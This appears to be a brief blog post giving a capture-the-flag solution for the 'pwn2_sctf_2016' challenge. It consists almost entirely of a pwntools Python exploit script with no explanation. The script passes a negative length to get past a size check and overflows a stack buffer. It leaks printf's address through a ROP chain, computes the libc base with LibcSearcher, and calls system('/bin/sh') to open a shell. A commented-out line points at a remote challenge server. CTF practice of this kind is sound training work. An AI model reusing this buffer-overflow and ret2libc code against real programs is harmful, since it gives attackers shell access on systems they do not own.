pwn2_sctf_2016

心已赠人 2023-02-19 11:24 25阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
exp

#!/usr/bin/env python
    # coding=utf-8
    
    from pwn import *
    from LibcSearcher import *
    
    context(log_level='debug')
    proc_name = './pwn2_sctf_2016'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 26254)
    elf = ELF(proc_name)
    p.sendlineafter('read?', '-1')
    p.recvuntil('data');
    printf_plt = elf.plt['printf']
    printf_got = elf.got['printf']
    main_addr = elf.sym['main']
    payload = 'a'.encode() * (0x2c + 4) + p32(printf_plt) + p32(main_addr) + p32(0x80486f8) + p32(printf_got)
    p.sendline(payload)
    p.recvuntil('said: ')
    p.recvuntil('said: ')
    printf_addr = u32(p.recv(4))
    print(printf_addr)
    libc = LibcSearcher('printf', printf_addr)
    libc_base = printf_addr - libc.dump('printf')
    system_addr = libc_base + libc.dump('system')
    bin_sh_str = libc_base + libc.dump('str_bin_sh')
    
    p.sendlineafter('read?', '-1')
    p.recvuntil('data');
    payload1 = 'a'.encode() * (0x2c + 4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_str)
    p.sendline(payload1)
    #print(proc.pidof(p))
    #pause()
    p.interactive()

![在这里插入图片描述][20200620132513969.png]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200620133032383.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[20200620132513969.png]: https://img-blog.csdnimg.cn/20200620132513969.png